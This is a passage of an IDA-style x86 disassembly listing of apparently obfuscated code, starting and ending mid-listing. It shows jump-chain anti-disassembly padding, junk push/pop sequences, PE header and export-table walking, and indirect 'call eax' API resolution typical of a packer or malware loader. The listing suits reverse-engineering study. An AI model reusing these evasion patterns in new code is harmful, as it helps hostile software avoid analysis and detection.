--------------------------------------------------------------------------- db 86h dd 129D7447h ; --------------------------------------------------------------------------- jecxz short loc_407662 loc_407682: ; CODE XREF: .text:loc_4076A7j jmp short loc_4076B7 ; --------------------------------------------------------------------------- dd 0C3F5E99h, 0F85B6A55h, 0A43736D1h, 10D3C20Dh, 3C2F0E09h dd 284B1AC5h, 0D427E641h, 40C3727Dh db 79h, 0BEh, 1Fh ; --------------------------------------------------------------------------- loc_4076A7: ; CODE XREF: .text:loc_407679j jmp short loc_407682 ; --------------------------------------------------------------------------- db 6Ch, 35h, 0CAh ; --------------------------------------------------------------------------- cmp ebx, [eax-4Fh] loc_4076AF: ; CODE XREF: .text:loc_4076B7j jmp short loc_4076DA ; --------------------------------------------------------------------------- db 96h, 17h, 4 db 0EDh, 22h, 0B3h ; --------------------------------------------------------------------------- loc_4076B7: ; CODE XREF: .text:loc_407682j jmp short loc_4076AF ; --------------------------------------------------------------------------- db 70h, 0E9h, 6Eh dd 7AA59C0Fh, 4621882Bh, 0D25D3407h, 1E59A0A3h, 2A15CCFFh dd 0F691B81Bh, 82CD64F7h db 93h, 0D0h ; --------------------------------------------------------------------------- loc_4076DA: ; CODE XREF: .text:loc_4076AFj push ebp jmp short loc_407706 ; --------------------------------------------------------------------------- cld test ebx, edx loc_4076E0: ; CODE XREF: .text:loc_407706j jmp short loc_407719 ; --------------------------------------------------------------------------- dw 0E80Bh dd 94E7A601h, 83323Dh, 2CDF7E39h, 18FB8AF5h, 0C4D75671h dd 3073E2ADh, 5CCF2EA9h, 48EB3A65h db 0E1h, 6 ; --------------------------------------------------------------------------- loc_407706: ; CODE XREF: .text:004076DBj jmp short loc_4076E0 ; --------------------------------------------------------------------------- mov esp, 6063921Dh sbb esi, ebx mov edi, 0DBEAD58Ch js short loc_407768 mov dh, 0B7h loc_407719: ; CODE XREF: .text:loc_4076E0j push 0A9DE6F5Ah push edx push esi jns loc_407737 jo loc_40772D cld loc_40772D: ; CODE XREF: .text:00407726j mov esi, 80935Ah rcl edx, 3 xor edx, edx loc_407737: ; CODE XREF: .text:00407720j cld pop esi pop edx push esi push edi push ebx cmp ebx, 809F1Ah dec ebx cld pop ebx pop edi call near ptr sub_4048A4 push ebx push eax not ebx lea eax, ds:81189Ah inc ebx lea ebx, ds:80A792h xchg eax, ebx push ebx pop ebx cld pop eax pop ebx call eax push eax push edi loc_407768: ; CODE XREF: .text:00407715j cmp edi, 8090DAh push edi pop eax cmp dl, dh inc eax cld pop edi pop eax add esp, 4 jmp short loc_4077A8 ; --------------------------------------------------------------------------- db 54h db 0FDh, 0F2h ; --------------------------------------------------------------------------- loc_40777E: ; CODE XREF: .text:loc_4077A8j jmp short loc_4077BB ; --------------------------------------------------------------------------- dd 3EF9C043h, 4AB5EC9Fh, 1631D8BBh, 0A26D8497h, 0EE69F033h dd 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h, 0AA954C7Fh ; --------------------------------------------------------------------------- loc_4077A8: ; CODE XREF: .text:00407779j jmp short loc_40777E ; --------------------------------------------------------------------------- wait loc_4077AB: ; CODE XREF: .text:loc_4077BBj jmp short loc_4077D6 ; --------------------------------------------------------------------------- db 38h, 11h, 76h dd 24DE477h, 4E495013h db 6Fh, 7Ch, 5 ; --------------------------------------------------------------------------- loc_4077BB: ; CODE XREF: .text:loc_40777Ej jmp short loc_4077AB ; --------------------------------------------------------------------------- db 5Ah, 8Bh, 68h ; --------------------------------------------------------------------------- loc_4077C0: ; CODE XREF: .text:loc_4077D6j jmp short loc_4077F1 ; --------------------------------------------------------------------------- dw 2681h dd 0B2BD1467h, 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh ; --------------------------------------------------------------------------- push edi inc esp loc_4077D6: ; CODE XREF: .text:loc_4077ABj jmp short loc_4077C0 ; --------------------------------------------------------------------------- dd 0B0F3622Dh, 0DC4FAE29h, 0C86BBAE5h, 74478661h, 0E0E3129Dh dd 0C3F5E99h ; --------------------------------------------------------------------------- push ebp loc_4077F1: ; CODE XREF: .text:loc_4077C0j mov eax, ebp push edi push esi neg esi inc esi cld pop esi pop edi add eax, [eax+3Ch] push eax push esi xor esi, ebx not esi or esi, 81091Eh cmp edx, esp inc esi mov si, 492Fh not eax mov esi, edi xor esi, edx cld pop esi pop eax push 241DCh push eax push ecx xor ecx, esp repne cld pop ecx pop eax pop edi push ecx push esi mov esi, eax xor ecx, 818C9Ah inc ecx cmp ecx, 80919Ah cld pop esi pop ecx cmp edi, 10000001h jz loc_4078FC push edx push edi loc_40784A: ; CODE XREF: .text:0040788Aj dec edx xor edi, eax cmp al, 0FDh mov edx, ebp push eax pop edi stc push esi pop edx cmc sbb edx, 808ADAh xor edi, ebx test eax, ebp push esp pop edx inc edi cmc cld pop edi pop edx mov [eax+78h], edi push ecx push edx jz short loc_407875 push ecx pop edx xchg edx, edx push esp pop edx loc_407875: ; CODE XREF: .text:0040786Dj mov cx, 4BD8h mov edx, ecx inc ecx cld pop edx pop ecx push 0A4h jmp short loc_4078A0 ; --------------------------------------------------------------------------- jge short loc_4078FA retn ; --------------------------------------------------------------------------- inc eax jns short loc_40784A pop ds loc_40788D: ; CODE XREF: .text:loc_4078A0j jmp short loc_4078B7 ; --------------------------------------------------------------------------- db 6Ch ; --------------------------------------------------------------------------- xor eax, 0B1583BCAh xchg eax, esi pop ss add al, 0EDh and dh, [ebx+0F6EE970h] pushf loc_4078A0: ; CODE XREF: .text:00407884j jmp short loc_40788D ; --------------------------------------------------------------------------- dw 7AA5h db 2Bh, 88h ; --------------------------------------------------------------------------- loc_4078A6: ; CODE XREF: .text:loc_4078B7j jmp short loc_4078D6 ; --------------------------------------------------------------------------- dd 34074621h, 0A0A3D25Dh, 0CCFF1E59h db 15h, 2Ah, 1Bh ; --------------------------------------------------------------------------- loc_4078B7: ; CODE XREF: .text:loc_40788Dj jmp short loc_4078A6 ; --------------------------------------------------------------------------- db 0B8h, 91h, 0F6h db 0F7h, 64h, 0CDh ; --------------------------------------------------------------------------- loc_4078BF: ; CODE XREF: .text:loc_4078D6j jmp short loc_4078ED ; --------------------------------------------------------------------------- db 82h, 93h, 0D0h dd 0FCEFCEC9h, 0E80BDA85h, 94E7A601h, 83323Dh db 39h, 7Eh ; --------------------------------------------------------------------------- loc_4078D6: ; CODE XREF: .text:loc_4078A6j jmp short loc_4078BF ; --------------------------------------------------------------------------- dd 8AF52CDFh, 567118FBh, 0E2ADC4D7h, 2EA93073h, 3A655CCFh db 0EBh ; --------------------------------------------------------------------------- loc_4078ED: ; CODE XREF: .text:loc_4078BFj pop dword ptr [eax+7Ch] push edx push eax not eax mov edx, 80BB9Ah cld loc_4078FA: ; CODE XREF: .text:00407886j pop eax pop edx loc_4078FC: ; CODE XREF: .text:00407842j push 10000001h jmp short loc_407932 ; --------------------------------------------------------------------------- pusha sbb esi, ebx loc_407906: ; CODE XREF: .text:loc_407932j jmp short loc_407949 ; --------------------------------------------------------------------------- mov edi, 0DBEAD58Ch js short near ptr dword_407960 mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh, 1631D8BBh db 97h, 84h ; --------------------------------------------------------------------------- loc_407932: ; CODE XREF: .text:00407901j jmp short loc_407906 ; --------------------------------------------------------------------------- db 6Dh, 0A2h, 33h ; --------------------------------------------------------------------------- loc_407937: ; CODE XREF: .text:loc_407949j jmp short loc_407964 ; --------------------------------------------------------------------------- db 0F0h, 69h, 0EEh dd 0FA251C8Fh, 0C6A108ABh, 52DDB487h db 23h ; --------------------------------------------------------------------------- loc_407949: ; CODE XREF: .text:loc_407906j jmp short loc_407937 ; --------------------------------------------------------------------------- db 20h dd 4C7F9ED9h, 389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h dword_407960 dd 688B5A05h ; --------------------------------------------------------------------------- loc_407964: ; CODE XREF: .text:loc_407937j pop edi jmp short loc_407990 ; --------------------------------------------------------------------------- db 80h db 0B9h, 0FEh ; --------------------------------------------------------------------------- loc_40796A: ; CODE XREF: .text:loc_407990j jmp short loc_4079A3 ; --------------------------------------------------------------------------- dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h, 0AE29B0F3h, 0BAE5DC4Fh dd 8661C86Bh, 129D7447h, 5E99E0E3h, 6A550C3Fh ; --------------------------------------------------------------------------- loc_407990: ; CODE XREF: .text:00407965j jmp short loc_40796A ; --------------------------------------------------------------------------- pop ebx clc sal dword ptr [esi], 1 aaa loc_407997: ; CODE XREF: .text:loc_4079A3j jmp short loc_4079C6 ; --------------------------------------------------------------------------- movsb or eax, 910D3C2h push cs das cmp al, 0C5h loc_4079A3: ; CODE XREF: .text:loc_40796Aj jmp short loc_407997 ; --------------------------------------------------------------------------- db 1Ah, 4Bh, 28h dd 0D427E641h ; --------------------------------------------------------------------------- loc_4079AC: ; CODE XREF: .text:loc_4079C6j jmp short loc_4079DC ; --------------------------------------------------------------------------- jge short loc_407A22 retn ; --------------------------------------------------------------------------- db 40h, 79h, 0BEh dd 0CA356C1Fh, 96B1583Bh, 22ED0417h, 6EE970B3h db 0Fh, 9Ch ; --------------------------------------------------------------------------- loc_4079C6: ; CODE XREF: .text:loc_407997j jmp short loc_4079AC ; --------------------------------------------------------------------------- dd 882B7AA5h, 34074621h, 0A0A3D25Dh, 0CCFF1E59h, 0B81B2A15h ; --------------------------------------------------------------------------- loc_4079DC: ; CODE XREF: .text:loc_4079ACj cmp edi, 10000001h jz loc_407B38 jmp short loc_407A13 ; --------------------------------------------------------------------------- dw 0CD64h db 82h ; --------------------------------------------------------------------------- loc_4079ED: ; CODE XREF: .text:loc_407A13j jmp short loc_407A26 ; --------------------------------------------------------------------------- db 93h dd 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h, 83323D94h, 0DF7E3900h dd 0FB8AF52Ch, 0D7567118h, 73E2ADC4h db 30h, 0A9h, 2Eh ; --------------------------------------------------------------------------- loc_407A13: ; CODE XREF: .text:004079E8j jmp short loc_4079ED ; --------------------------------------------------------------------------- db 0CFh, 5Ch, 65h dd 0E148EB3Ah, 1DF4C706h db 92h, 63h ; --------------------------------------------------------------------------- loc_407A22: ; CODE XREF: .text:004079AEj pusha sbb esi, ebx ; --------------------------------------------------------------------------- db 0BFh ; --------------------------------------------------------------------------- loc_407A26: ; CODE XREF: .text:loc_4079EDj mov [eax+88h], edi jmp short loc_407A5A ; --------------------------------------------------------------------------- mov dh, 0B7h and al, 8Dh inc edx push ebx nop loc_407A35: ; CODE XREF: .text:loc_407A5Aj jmp short loc_407A6A ; --------------------------------------------------------------------------- mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dw 0C1A8h dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h dd 69F033A2h db 0EEh, 8Fh ; --------------------------------------------------------------------------- loc_407A5A: ; CODE XREF: .text:00407A2Cj jmp short loc_407A35 ; --------------------------------------------------------------------------- dd 0ABFA251Ch db 8, 0A1h ; --------------------------------------------------------------------------- loc_407A62: ; CODE XREF: .text:loc_407A6Aj jmp short loc_407A8D ; --------------------------------------------------------------------------- dd 0DDB487C6h db 52h, 23h ; --------------------------------------------------------------------------- loc_407A6A: ; CODE XREF: .text:loc_407A35j jmp short loc_407A62 ; --------------------------------------------------------------------------- dd 7F9ED920h, 9BAA954Ch, 77761138h, 13024DE4h, 6F4E4950h dd 8B5A057Ch, 67268168h, 3B2BD14h db 80h ; --------------------------------------------------------------------------- loc_407A8D: ; CODE XREF: .text:loc_407A62j push 10000001h jmp short loc_407ABD ; --------------------------------------------------------------------------- cwde icebp setalc loc_407A97: ; CODE XREF: .text:loc_407ABDj jmp short loc_407AD0 ; --------------------------------------------------------------------------- db 57h, 44h, 2Dh dd 29B0F362h, 0E5DC4FAEh, 61C86BBAh, 9D744786h, 99E0E312h dd 550C3F5Eh, 0D1F85B6Ah, 0DA43736h db 0C2h ; --------------------------------------------------------------------------- loc_407ABD: ; CODE XREF: .text:00407A92j jmp short loc_407A97 ; --------------------------------------------------------------------------- rcl dword ptr [eax], cl or [esi], ecx das loc_407AC4: ; CODE XREF: .text:loc_407AD0j jmp short loc_407AF3 ; --------------------------------------------------------------------------- dw 0C53Ch dd 41284B1Ah, 7DD427E6h ; --------------------------------------------------------------------------- loc_407AD0: ; CODE XREF: .text:loc_407A97j jmp short loc_407AC4 ; --------------------------------------------------------------------------- dw 0C372h dd 1FBE7940h, 3BCA356Ch, 1796B158h, 0B322ED04h, 0F6EE970h ; --------------------------------------------------------------------------- pushf loc_407AE9: ; CODE XREF: .text:loc_407AF3j jmp short loc_407B16 ; --------------------------------------------------------------------------- db 0A5h dd 21882B7Ah db 46h, 7, 34h ; --------------------------------------------------------------------------- loc_407AF3: ; CODE XREF: .text:loc_407AC4j jmp short loc_407AE9 ; --------------------------------------------------------------------------- db 5Dh, 0D2h, 0A3h dd 0FF1E59A0h, 1B2A15CCh, 0F7F691B8h, 9382CD64h, 0EFCEC9D0h dd 0BDA85FCh, 0E7A601E8h db 94h, 3Dh ; --------------------------------------------------------------------------- loc_407B16: ; CODE XREF: .text:loc_407AE9j pop dword ptr [eax+8Ch] push ecx push ebx cmp dh, ah lea ecx, ds:809FDAh adc ebx, 80885Ah dec ecx mov bx, 4948h neg ecx mov ecx, esi cld pop ebx pop ecx loc_407B38: ; CODE XREF: .text:004079E2j push ebx push edx push ebx cmp edx, 8115DAh dec edx cld pop ebx pop edx lea eax, [esp] push eax push ecx adc eax, 808A1Ah mov cx, 48FEh cmp al, 0F2h xor eax, edi xchg eax, eax xor eax, ebp test eax, esp inc eax neg ecx xchg ecx, ecx xchg ecx, eax cld pop ecx pop eax push eax push ebx push esi cmc rol esi, 3Fh dec esi adc esi, 80999Ah xor esi, eax test eax, edi cmp al, 0E2h xchg esi, esi cld pop esi pop ebx push 2 jmp short loc_407BAF ; --------------------------------------------------------------------------- db 0E2h, 73h, 30h dd 5CCF2EA9h ; --------------------------------------------------------------------------- loc_407B8C: ; CODE XREF: .text:loc_407BAFj jmp short loc_407BC0 ; --------------------------------------------------------------------------- dw 3A65h ; --------------------------------------------------------------------------- jmp short loc_407BDA ; --------------------------------------------------------------------------- dw 6E1h dd 921DF4C7h, 0DE196063h, 0EAD58CBFh, 0B65178DBh, 428D24B7h dd 8E899053h db 0AFh, 0BCh, 45h ; --------------------------------------------------------------------------- loc_407BAF: ; CODE XREF: .text:00407B83j jmp short loc_407B8C ; --------------------------------------------------------------------------- db 9Ah, 0CBh, 0A8h db 0C1h, 66h, 0A7h ; --------------------------------------------------------------------------- loc_407BB7: ; CODE XREF: .text:loc_407BC0j jmp short loc_407BE7 ; --------------------------------------------------------------------------- db 54h, 0FDh, 0F2h ; --------------------------------------------------------------------------- inc ebx sar cl, 3Eh loc_407BC0: ; CODE XREF: .text:loc_407B8Cj jmp short loc_407BB7 ; --------------------------------------------------------------------------- loc_407BC2: ; CODE XREF: .text:00407C23j lahf in al, dx mov ch, 4Ah ; --------------------------------------------------------------------------- dw 0D8BBh ; --------------------------------------------------------------------------- loc_407BC8: ; CODE XREF: .text:loc_407BE7j jmp short loc_407BF7 ; --------------------------------------------------------------------------- dw 1631h dd 0A26D8497h, 0EE69F033h, 0FA251C8Fh db 0ABh, 8 ; --------------------------------------------------------------------------- loc_407BDA: ; CODE XREF: .text:00407B90j mov eax, ds:0DDB487C6h push edx and esp, [eax] ; --------------------------------------------------------------------------- dw 9ED9h ; --------------------------------------------------------------------------- jg short loc_407C32 xchg eax, ebp loc_407BE7: ; CODE XREF: .text:loc_407BB7j jmp short loc_407BC8 ; --------------------------------------------------------------------------- db 0AAh, 9Bh, 38h dd 0E4777611h, 5013024Dh db 49h, 4Eh, 6Fh ; --------------------------------------------------------------------------- loc_407BF7: ; CODE XREF: .text:loc_407BC8j push 400h jmp short loc_407C2A ; --------------------------------------------------------------------------- dw 688Bh ; --------------------------------------------------------------------------- and dword ptr [esi], 0B2BD1467h add eax, [eax-53A00147h] loc_407C0C: ; CODE XREF: .text:00407C4Cj jnz short near ptr loc_407C14+4 loc_407C0E: ; CODE XREF: .text:00407C49j jnp short near ptr dword_407B94+14h icebp setalc push edi inc esp loc_407C14: ; CODE XREF: .text:loc_407C0Cj sub eax, 29B0F362h scasb dec edi fsubr st(5), st mov edx, 8661C86Bh inc edi jz short loc_407BC2 loc_407C25: ; CODE XREF: .text:loc_407C2Aj jmp short loc_407C51 ; --------------------------------------------------------------------------- db 12h db 0E3h, 0E0h ; --------------------------------------------------------------------------- loc_407C2A: ; CODE XREF: .text:00407BFCj jmp short loc_407C25 ; --------------------------------------------------------------------------- dd 0C3F5E99h db 55h, 6Ah ; --------------------------------------------------------------------------- loc_407C32: ; CODE XREF: .text:00407BE4j pop ebx clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs das cmp al, 0C5h sbb cl, [ebx+28h] inc ecx out 27h, al aam 7Dh jb short loc_407C0E inc eax jns short loc_407C0C pop ds insb ; --------------------------------------------------------------------------- db 35h ; --------------------------------------------------------------------------- loc_407C51: ; CODE XREF: .text:loc_407C25j push ebp jmp short loc_407C7E ; --------------------------------------------------------------------------- dd 70B322EDh db 0E9h, 6Eh, 0Fh ; --------------------------------------------------------------------------- loc_407C5B: ; CODE XREF: .text:loc_407C7Ej jmp short loc_407C8E ; --------------------------------------------------------------------------- db 9Ch, 0A5h, 7Ah dd 4621882Bh, 0D25D3407h, 1E59A0A3h, 2A15CCFFh, 0F691B81Bh dd 82CD64F7h, 0CEC9D093h db 0EFh, 0FCh ; --------------------------------------------------------------------------- loc_407C7E: ; CODE XREF: .text:00407C52j jmp short loc_407C5B ; --------------------------------------------------------------------------- loc_407C80: ; CODE XREF: .text:loc_407C8Ej jmp short loc_407CAC ; --------------------------------------------------------------------------- dw 0DA85h dd 0A601E80Bh, 323D94E7h db 83h, 0 ; --------------------------------------------------------------------------- loc_407C8E: ; CODE XREF: .text:loc_407C5Bj jmp short loc_407C80 ; --------------------------------------------------------------------------- dd 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh, 5CCF2EA9h dd 48EB3A65h, 0F4C706E1h ; --------------------------------------------------------------------------- loc_407CAC: ; CODE XREF: .text:loc_407C80j push 0A9DE6F5Ah push ecx push edi push ecx pop ecx cmp ebp, eax sub ecx, 80AF1Ah std cld pop edi pop ecx push esi push ecx push ebx push edi pop ebx xor ebx, edx test ecx, ecx push ebx pop ecx not ecx xchg ebx, ebx cmp al, 0E9h dec ecx rcr ecx, 0ACh cmp ah, cl lea ecx, ds:81199Ah dec ebx cld pop ebx pop ecx call near ptr sub_4048A4 push edi push ebx xor edi, esp not ebx xor edi, eax xor edi, ebp xor edi, 80CB5Ah mov di, 494Ah dec ebx cld pop ebx pop edi call eax push esi push ebx test ecx, ecx not esi xor esi, eax lea esi, ds:80A45Ah test cl, cl lea esi, ds:82925Ah push esi pop esi dec esi cld pop ebx pop esi add esp, 4 jmp short loc_407D4D ; --------------------------------------------------------------------------- and al, 8Dh inc edx loc_407D25: ; CODE XREF: .text:loc_407D4Dj jmp short loc_407D60 ; --------------------------------------------------------------------------- push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh, 971631D8h dd 33A26D84h, 8FEE69F0h db 1Ch ; --------------------------------------------------------------------------- loc_407D4D: ; CODE XREF: .text:00407D20j jmp short loc_407D25 ; --------------------------------------------------------------------------- db 25h ; --------------------------------------------------------------------------- cli stosd loc_407D52: ; CODE XREF: .text:loc_407D60j jmp short loc_407D83 ; --------------------------------------------------------------------------- dd 87C6A108h, 2352DDB4h, 7F9ED920h ; --------------------------------------------------------------------------- loc_407D60: ; CODE XREF: .text:loc_407D25j jmp short loc_407D52 ; --------------------------------------------------------------------------- dw 954Ch dd 11389BAAh, 4DE47776h, 49501302h, 57C6F4Eh, 81688B5Ah dd 0BD146726h, 0B98003B2h db 0FEh, 5Fh, 0ACh ; --------------------------------------------------------------------------- loc_407D83: ; CODE XREF: .text:loc_407D52j push 44315FEEh jmp short loc_407DB7 ; --------------------------------------------------------------------------- dw 0F198h dd 2D4457D6h, 29B0F362h, 0E5DC4FAEh, 61C86BBAh, 9D744786h dd 99E0E312h, 550C3F5Eh, 0D1F85B6Ah db 36h ; --------------------------------------------------------------------------- loc_407DAD: ; CODE XREF: .text:loc_407DB7j jmp short loc_407DDA ; --------------------------------------------------------------------------- aaa movsb or eax, 910D3C2h push cs loc_407DB7: ; CODE XREF: .text:00407D88j jmp short loc_407DAD ; --------------------------------------------------------------------------- db 2Fh, 3Ch, 0C5h dd 41284B1Ah, 7DD427E6h, 7940C372h, 356C1FBEh, 0B1583BCAh dd 0ED041796h, 0E970B322h db 6Eh, 0Fh ; --------------------------------------------------------------------------- loc_407DDA: ; CODE XREF: .text:loc_407DADj push esi jmp short loc_407E09 ; --------------------------------------------------------------------------- db 7, 34h, 5Dh dd 59A0A3D2h ; --------------------------------------------------------------------------- loc_407DE4: ; CODE XREF: .text:loc_407E09j jmp short loc_407E1C ; --------------------------------------------------------------------------- dw 0FF1Eh db 0CCh db 15h, 2Ah, 1Bh dd 0F7F691B8h, 9382CD64h, 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h dd 83323D94h, 0DF7E3900h db 2Ch ; --------------------------------------------------------------------------- loc_407E09: ; CODE XREF: .text:00407DDBj jmp short loc_407DE4 ; --------------------------------------------------------------------------- db 0F5h dd 7118FB8Ah, 0ADC4D756h, 0A93073E2h, 655CCF2Eh ; --------------------------------------------------------------------------- loc_407E1C: ; CODE XREF: .text:loc_407DE4j call near ptr sub_4048A4 push edi push eax test cl, cl sub eax, 80889Ah sbb eax, 84891Ah jo short loc_407E34 dec eax loc_407E34: ; CODE XREF: .text:00407E31j or edi, 80905Ah cld pop eax pop edi push eax jmp short loc_407E70 ; --------------------------------------------------------------------------- dd 0BFDE1960h db 8Ch, 0D5h, 0EAh ; --------------------------------------------------------------------------- loc_407E47: ; CODE XREF: .text:loc_407E70j jmp short loc_407E86 ; --------------------------------------------------------------------------- fstp tbyte ptr [eax+51h] mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dw 0C1A8h dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h ; --------------------------------------------------------------------------- loc_407E70: ; CODE XREF: .text:00407E3Ej jmp short loc_407E47 ; --------------------------------------------------------------------------- mov ds:0EE69F033h, al loc_407E77: ; CODE XREF: .text:loc_407E86j jmp short loc_407EA5 ; --------------------------------------------------------------------------- db 8Fh, 1Ch, 25h dd 0A108ABFAh, 0DDB487C6h db 52h, 23h ; --------------------------------------------------------------------------- loc_407E86: ; CODE XREF: .text:loc_407E47j jmp short loc_407E77 ; --------------------------------------------------------------------------- loc_407E88: ; CODE XREF: .text:loc_407EA5j jmp short loc_407EB5 ; --------------------------------------------------------------------------- dw 0D920h dd 954C7F9Eh, 11389BAAh, 4DE47776h, 49501302h, 57C6F4Eh dd 81688B5Ah db 26h ; --------------------------------------------------------------------------- loc_407EA5: ; CODE XREF: .text:loc_407E77j jmp short loc_407E88 ; --------------------------------------------------------------------------- db 67h dd 3B2BD14h, 5FFEB980h, 7B0A75ACh ; --------------------------------------------------------------------------- cwde loc_407EB5: ; CODE XREF: .text:loc_407E88j push eax push ebx push edx mov edx, 808C5Ah rol edx, 0Eh rol ebx, 33h xor ebx, eax push edi pop ebx mov ebx, ebp mov ebx, esi test ecx, ebp cmp cl, al cld pop edx pop ebx call eax jmp short loc_407F02 ; --------------------------------------------------------------------------- dw 29B0h dd 0E5DC4FAEh db 0BAh ; --------------------------------------------------------------------------- loc_407EDD: ; CODE XREF: .text:loc_407F02j jmp short loc_407F12 ; --------------------------------------------------------------------------- db 6Bh dd 478661C8h, 0E3129D74h, 3F5E99E0h, 5B6A550Ch, 3736D1F8h dd 0D3C20DA4h, 2F0E0910h, 4B1AC53Ch db 28h, 41h ; --------------------------------------------------------------------------- loc_407F02: ; CODE XREF: .text:00407ED4j jmp short loc_407EDD ; --------------------------------------------------------------------------- dd 7DD427E6h, 7940C372h, 356C1FBEh db 0CAh, 3Bh ; --------------------------------------------------------------------------- loc_407F12: ; CODE XREF: .text:loc_407EDDj dec esi jmp short loc_407F45 ; --------------------------------------------------------------------------- db 0EDh, 22h, 0B3h dd 0F6EE970h ; --------------------------------------------------------------------------- loc_407F1C: ; CODE XREF: .text:loc_407F45j jmp short loc_407F5C ; --------------------------------------------------------------------------- dw 0A59Ch dd 21882B7Ah, 5D340746h, 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah dd 0CD64F7F6h, 0C9D09382h, 85FCEFCEh, 1E80BDAh ; --------------------------------------------------------------------------- cmpsb loc_407F45: ; CODE XREF: .text:00407F13j jmp short loc_407F1C ; --------------------------------------------------------------------------- db 0E7h dd 83323D94h db 0 ; --------------------------------------------------------------------------- loc_407F4D: ; CODE XREF: .text:loc_407F5Cj jmp short loc_407F7F ; --------------------------------------------------------------------------- db 39h dd 0F52CDF7Eh, 7118FB8Ah, 0ADC4D756h ; --------------------------------------------------------------------------- loc_407F5C: ; CODE XREF: .text:loc_407F1Cj jmp short loc_407F4D ; --------------------------------------------------------------------------- dw 73E2h dd 0CF2EA930h, 0EB3A655Ch, 0C706E148h, 63921DF4h, 0BFDE1960h dd 0DBEAD58Ch, 0B7B65178h db 24h ; $ db 8Dh ; db 42h ; B ; --------------------------------------------------------------------------- loc_407F7F: ; CODE XREF: .text:loc_407F4Dj add esi, eax jmp short loc_407FAE ; --------------------------------------------------------------------------- db 8Eh db 0AFh, 0BCh ; --------------------------------------------------------------------------- loc_407F86: ; CODE XREF: .text:loc_407FAEj jmp short loc_407FC1 ; --------------------------------------------------------------------------- dd 0A8CB9A45h, 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h dd 84971631h, 0F033A26Dh, 1C8FEE69h, 8ABFA25h db 0A1h, 0C6h ; --------------------------------------------------------------------------- loc_407FAE: ; CODE XREF: .text:00407F81j jmp short loc_407F86 ; --------------------------------------------------------------------------- dd 52DDB487h, 9ED92023h, 0AA954C7Fh, 7611389Bh db 77h ; --------------------------------------------------------------------------- loc_407FC1: ; CODE XREF: .text:loc_407F86j push 4119h jmp short loc_407FF4 ; --------------------------------------------------------------------------- dd 4E495013h db 6Fh, 7Ch, 5 ; --------------------------------------------------------------------------- loc_407FCF: ; CODE XREF: .text:loc_407FF4j jmp short loc_408005 ; --------------------------------------------------------------------------- db 5Ah, 8Bh, 68h dd 14672681h, 8003B2BDh, 0AC5FFEB9h, 987B0A75h, 4457D6F1h dd 0B0F3622Dh, 0DC4FAE29h, 0C86BBAE5h ; --------------------------------------------------------------------------- loc_407FF4: ; CODE XREF: .text:00407FC6j jmp short loc_407FCF ; --------------------------------------------------------------------------- dw 8661h dd 129D7447h, 5E99E0E3h, 6A550C3Fh ; --------------------------------------------------------------------------- pop ebx loc_408005: ; CODE XREF: .text:loc_407FCFj push 6FAF070Eh push edi push esi mov di, 4948h test cl, cl dec esi xor esi, edx lea esi, ds:80B81Ah cld pop esi pop edi push 1F000h jmp short loc_408053 ; --------------------------------------------------------------------------- rcl dword ptr [eax], cl or [esi], ecx das cmp al, 0C5h loc_40802C: ; CODE XREF: .text:loc_408053j jmp short loc_408068 ; --------------------------------------------------------------------------- dw 4B1Ah dd 27E64128h, 0C3727DD4h, 1FBE7940h, 3BCA356Ch, 1796B158h dd 0B322ED04h, 0F6EE970h, 2B7AA59Ch ; --------------------------------------------------------------------------- mov [ecx], ah inc esi loc_408053: ; CODE XREF: .text:00408023j jmp short loc_40802C ; --------------------------------------------------------------------------- db 7, 34h, 5Dh dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h ; --------------------------------------------------------------------------- loc_408068: ; CODE XREF: .text:loc_40802Cj call near ptr sub_408E23 jmp short loc_408099 ; --------------------------------------------------------------------------- db 0FCh dd 0E80BDA85h db 1, 0A6h ; --------------------------------------------------------------------------- loc_408076: ; CODE XREF: .text:loc_408099j jmp short loc_4080A9 ; --------------------------------------------------------------------------- dd 323D94E7h, 7E390083h, 8AF52CDFh, 567118FBh, 0E2ADC4D7h dd 2EA93073h, 3A655CCFh, 6E148EBh db 0C7h ; --------------------------------------------------------------------------- loc_408099: ; CODE XREF: .text:0040806Dj jmp short loc_408076 ; --------------------------------------------------------------------------- loc_40809B: ; CODE XREF: .text:loc_4080A9j jmp short loc_4080CC ; --------------------------------------------------------------------------- db 0F4h, 1Dh, 92h dd 0DE196063h, 0EAD58CBFh db 0DBh ; --------------------------------------------------------------------------- loc_4080A9: ; CODE XREF: .text:loc_408076j ; .text:00408110j jmp short loc_40809B ; --------------------------------------------------------------------------- js short loc_4080FE mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h ; --------------------------------------------------------------------------- loc_4080CC: ; CODE XREF: .text:loc_40809Bj add esp, 0Ch jmp short loc_4080FA ; --------------------------------------------------------------------------- test [ebp-5Eh], ch xor esi, eax imul ebp, esi, 0FA251C8Fh stosd or [ecx-224B783Ah], ah push edx loc_4080E4: ; CODE XREF: .text:loc_4080FAj jmp short loc_408115 ; --------------------------------------------------------------------------- dw 2023h dd 4C7F9ED9h, 389BAA95h, 0E4777611h, 5013024Dh ; --------------------------------------------------------------------------- dec ecx dec esi loc_4080FA: 